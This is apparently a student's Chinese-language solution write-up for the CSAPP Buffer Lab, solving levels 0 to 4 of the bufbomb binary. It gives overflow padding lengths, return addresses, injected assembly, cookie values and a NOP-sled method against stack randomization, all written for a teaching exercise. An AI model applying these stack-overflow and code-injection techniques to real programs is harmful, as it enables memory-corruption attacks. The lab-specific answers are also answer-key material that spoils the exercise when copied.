BufferLab
下面是基本的解决方案,详细的文件见github
level 0
- 首先看test函数内部,发现sub了0x28个字节,因此分配了40个字节,再加上push进去的ebp,一共44个字节,因此填充44个30(就是0),然后将函数smoke的地址08048c90按照小端法写出:90 8c 04 08
- 执行命令是:
cat 121140013-candle.txt | ./hex2raw |./bufbomb -u 121140013
level 1 sparkler
- 首先和level 0的目标是一致的,即让程序不继续执行test而是转而执行fizz,因此也是填充44个字节的30,然后讲fizz的地址填上去
- 但是也有区别,就是需要将cookie作为参数传递给fizz函数,cookie使用命令
./makecookie 121140013
产生,去查看fizz的反汇编代码,发现参数的地址位于0x8(%ebp),因此,再fizz的地址后面再填充4个30,然后将我们的cookie填上去
- 最后,同理执行
cat 121140013-sparkler.txt | ./hex2raw |./bufbomb -u 121140013
level 2
这里比前面要更复杂一些:
- 我们首先要得到全局变量global_value的地址,然后修改它的值为cookie
- 上述修改的代码指令要加在缓冲区内部,然后在ebp上面的返回地址处返回指向缓冲区起始处的地址,这样执行ret的时候就会执行我们写进去
的指令了(即修改global_value的的值为cookie)
- 我们可以在修改指令的汇编代码中只修改global_value,然后ret,这样的话程序执行完buf处的代码后,还需要回到bang,因此需要在buf地址后面添加bang的地址;
- 或者,我们再修改的汇编代码中修改完global_value后,将bang的地址入栈,然后ret,这样执行完ret后直接进入bang的位置,因此只需在最后添加buf的地址即可
使用gdb 简化操作
- 上面的指令我们需要人工以汇编的形式写出
- 然后使用gdb将其翻译为机器码
- 将上述文件中不满足我们输出格式的部分删除或者注释掉
- 并且我们想要获得的所有的地址和值信息,都可以通过gdb简单的获取
操作记录
- global_value的地址:0x804c218
gdb p &global_value
- bang的地址:
gdb p bang
- buf 的地址(是指ebp-0x28的值,就是说缓冲区的起始地址)
gdb p /x $ebp-0x28
- 接下来获取修改globa_value的值:
vim level-2.S
法1
movl $0x6c455538,0x804c218 (将cookie的值给global_value的地址处)
ret
法2
movl $0x6c455538,0x804c218 (将cookie的值给global_value的地址处)
push $0x8048d05
ret
gcc -m32 -c level-2.S
objdump -d level-2.o > level-2.d //此时我们已经获取了它的指令
- 修改上述文件
- 法1:由于指令已经有11个字节,补33个字节,然后填充buf的地址、bang的地址
- 法2:此时只需补足44字节后填充buf的地址于末尾即可
level 3
简要分析
- level 3的提升之处在于这里要保留现场,也就是说在插入攻击代码之后还要恢复原有的栈保留值,进入原来的函数test中去;
- 题目还要求test返回的值为cookie,而不是原来的1
操作步骤
- 编写level-3.S
movl $0x6c455538,%eax
pushl $0x8048e81
ret
解释:
- 首先我们将cookie的值放在%eax中,这就会作为返回值返回;
- 然后我们将 test中调用getbuf后面紧跟的指令的地址push到栈中(这样执行完攻击代码之后ret的时候就可以回到这里了)
- 同上面一样进行gcc -m32 -c以及objdump 得到level-3.d
- 上面汇编产生的指令为11字节,因此我们补充29个字节,凑成40个字节
然后将ebp的值放在后面
p /x (int)$ebp
解释:这里不可直接p \(ebp ,这样得到的是%ebp的地址,而我们要保存的是%ebp这里原本保留的地址,因此将\)ebp转为指针然后解引用
最后面放置buf的地址(同上面,0x55683398)
level 4
分析和介绍
- level 4的任务同level 3,也是修改test的返回值为cookie,然后从test中返回,区别在于这里其实是testn,调用getbufn,并且在调用的时候要加上-n选项。
- 这里是模拟在有栈随机化的情况下应该如何展开缓冲区攻击,CSAPP中P 179 有相关内容的理论介绍,简单来说就是通过每次运行的时候在栈空间中随机分配0-n个字节的空间,这段空间仅仅是用来让攻击代码所在的位置(buf)无法直接获取。但是也存在着简单的破解办法,因为这里的n不可能太大,因此我们可以进行很多次实验,选取其中最大的buf地址,然后留出很大的缓冲用nop指令填充,这样不管运行时实际的buf在哪里,都可以跳入到这一片的nop中,然后顺势进入我们的攻击代码
实际步骤
- 首先写出level-4.S
movl $0x6c455538,%eax
leal 0x28(%esp),%ebp
pushl $0x8048e81
基本上同level-3,加了一句leal指令,用于恢复%ebp的值,ebp总是相对esp偏移0x28,因此我们可以通过leal指令确定每次运行时的%ebp
2. gcc -c以及objdump 得到level-4.d
3. 由于在getbufn中分配了520个字节的buf空间,加上push进去的变量,一共524个字节需要填充,而上面产生的指令有15个字节,因此在文件开头添加509个nop,然后在末尾添加buf的地址
4. buf的地址显然是不确定的值,我们在gdb中调试,加上-n选项
然后不断的p $ebp-0x208来得到每次运行时的buf地址,发现为:
0x55683138(2次)、0x55683148、0x556831b8、0x55683208,选取其中的最大的地址:0x55683208,添加到攻击代码的末尾
选取最大的地址才可以保证进入我们设置的nop缓冲中去